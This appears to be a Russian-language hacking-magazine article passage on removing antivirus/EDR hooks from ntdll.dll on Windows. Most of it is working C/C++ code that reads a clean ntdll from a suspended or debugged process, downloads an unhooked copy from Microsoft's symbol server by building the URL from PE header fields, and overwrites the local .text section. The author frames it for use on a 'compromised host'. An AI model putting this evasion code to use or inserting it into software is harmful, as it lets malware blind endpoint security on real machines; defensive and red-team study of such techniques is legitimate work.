Любой процесс в Windows можно запустить в приостановленном состоянии. Для этого достаточно передать в функцию CreateProcess() флаг CREATE_SUSPENDED либо DEBUG_PROCESS. Причем в таком состоянии в процесс будет подгружена только ntdll.dll.
Затем, возобновляя основной поток процесса, например через ResumeThread(), подтягиваем в него оставшиеся библиотеки.
Ты можешь проверить это самостоятельно с помощью простого кода.
Код:
#include <windows.h>
#include <iostream>
int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)
) {
std::cerr << "CreateProcess failed (" << GetLastError() << ").\n";
return -1;
}
std::cout << "The process is created in suspended state.\n";
getchar();
if (ResumeThread(pi.hThread) == -1) {
std::cerr << "ResumeThread failed (" << GetLastError() << ").\n";
return -1;
}
getchar();
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
Поэтому остается лишь получить базовый адрес загрузки этой ntdll.dll, достать его, а затем скопировать секцию .text на ntdll.dll своего процесса. Единственная загвоздка — для копирования секции .text требуется знать ее размер. Достать, конечно же, можно и через парсинг PE. Предлагаю свести всё до отдельной функции, которой нужно передать базовый адрес библиотеки, а она вернет ее размер.
Код:
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
Код:
BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cProcessPath[MAX_PATH] = { 0 };
PVOID pNtdllModule = FetchLocalNtdllBaseAddress();
PBYTE pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL,
sNumberOfBytesRead = NULL;
STARTUPINFOA Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);
if (!CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
goto _EndOfFunc;
}
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize)
goto _EndOfFunc;
pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer)
goto _EndOfFunc;
if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {
printf("[!] ReadProcessMemory Failed with Error : %d \n", GetLastError());
printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead, sNtdllSize);
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
// Дополнительно здесь можно дернуть TerminateProcess()
}
_EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
Как всегда, на GitHub можешь посмотреть исходники моей реализации и реализации TheD1rkMtr.
СНЯТИЕ ХУКА ЧЕРЕЗ ПОДГРУЗКУ NTDLL.DLL С УДАЛЕННОГО ВЕБ-СЕРВЕРА
Думаю, это самый интересный способ. Он основан на том, что есть прекрасный сайт winbindex.m417z.com, где приведены ссылки на ntdll.dll практически для любой версии Windows.
Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сделать не получилось. Предпоследняя часть URL — не более чем непонятный набор символов.
Код:
...dll/283EB25D1ef000/ntdll...
Код:
...dll/54219A10209000/ntdll...
Код:
...dll/2451EFDD1af000/ntdll...
Код:
...dll/4028FADC1af000/ntdll...
Наученный горьким опытом решения стеганографического чуда на CTF, мой воспаленный мозг понимает, что это зацепка. Копируем эти символы и начинаем искать. Обнаруживаем интересную кнопку Show, которая позволяет получить больше информации о файле. Наш 1af000 нигде не встречается, но попробуем конвертировать из HEX в десятичное значение. И фортуна посмотрела в нашу сторону! Это оказался параметр virtualSize.
Вычленяем первую часть, также конвертируем ее в десятичное значение и узнаем, что это
timestamp.
Остается лишь додуматься, как получить эти данные. У ntdll.dll тоже обычный PE, поэтому стоит глядеть именно в эту сторону. Временную метку получится извлечь из структуры
IMAGE_FILE_HEADER.
А размер получаем из элемента SizeOfImage структуры IMAGE_OPTIONAL_HEADER.
Есть еще SizeOfCode, но это размер непосредственно кодовой части. Я подозреваю, что секции .text, поэтому она нам не подходит. Нужен размер всего образа файла
ntdll.dll.Поэтому остается лишь запрашивать эту информацию из системы, а затем генерировать URL определенного вида.
Код:
https://msdl.microsoft.com/download/symbols/ntdll.dll/`strconcat(hex(IMAGE_FILE_HEADER TimeStamp), hex(IMAGE_OPTIONAL_HEADER SizeOfImage))`/ntdll.dll
Код:
#include <algorithm>
#include <string>
#define FIXED_URL L"https://msdl.microsoft.com/download/symbols/ntdll.dll/"
BOOL ReadNtdllFromServer(OUT PVOID* ppNtdllBuf) {
PBYTE pNtdllModule = (PBYTE)FetchLocalNtdllBaseAddress();
PVOID pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL;
WCHAR szFullUrl [MAX_PATH] = { 0 };
// Получаем параметры хукнутой ntdll.dll
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Качаем нехукнутую ntdll.dll
wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dll", FIXED_URL, pImgNtHdrs->FileHeader.TimeDateStamp, pImgNtHdrs->OptionalHeader.SizeOfImage);
if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize))
return FALSE;
*ppNtdllBuf = pNtdllBuffer;
return TRUE;
}
Код:
BOOL GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT PSIZE_T sNtdllSize) {
BOOL bSTATE = TRUE;
HINTERNET hInternet = NULL,
hInternetFile = NULL;
DWORD dwBytesRead = NULL;
SIZE_T sSize = NULL;
PBYTE pBytes = NULL,
pTmpBytes = NULL;
hInternet = InternetOpenW(L"info", NULL, NULL, NULL, NULL);
if (hInternet == NULL) {
printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
if (hInternetFile == NULL) {
printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
while (TRUE) {
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
sSize += dwBytesRead;
if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
memset(pTmpBytes, '\0', dwBytesRead);
if (dwBytesRead < 1024) {
break;
}
}
*pNtdllBuffer = pBytes;
*sNtdllSize = sSize;
_EndOfFunction:
if (hInternet)
InternetCloseHandle(hInternet);
if (hInternetFile)
InternetCloseHandle(hInternetFile);
if (hInternet)
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
if (pTmpBytes)
LocalFree(pTmpBytes);
return bSTATE;
}
Несмотря на то что нехукнутая ntdll.dll будет считываться с веб‑сервера, оффсет секции .text невозможно знать заранее. Он то 1024, то 4096. Поэтому используем код из раздела с чтением библиотеки из диска — будем опять проверять начальные байты по оффсету 1024, если совпадут, то копируем по этому адресу, если нет, то добавляем 3072.
Код:
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = NULL,
pRemoteNtdllTxt = NULL;
SIZE_T sNtdllTxtSize = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
}
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Этот способ, думаю, самый удобный. Его главный недостаток в том, что требуется доступ в интернет со скомпрометированного хоста.
Полный код реализации для твоих собственных экспериментов я также прикладываю:
- NtdllFromWEbsite.cpp — подгрузка с winbindex.m417z.com;
- NTDLLReflection — подгрузка с иного ресурса, ты должен будешь сам поднять веб‑сервер.
ВЫВОДЫ
Помни, что анхукинг — это не более чем один из множества способов обхода хуков. Причем умные антивирусы умеют восстанавливать хуки, если обнаруживают, что кто‑то их снял. На любое действие найдется противодействие, но в данном случае это приглашение к новому действию!Автор @MichelleVermishelle
источник xakep.ru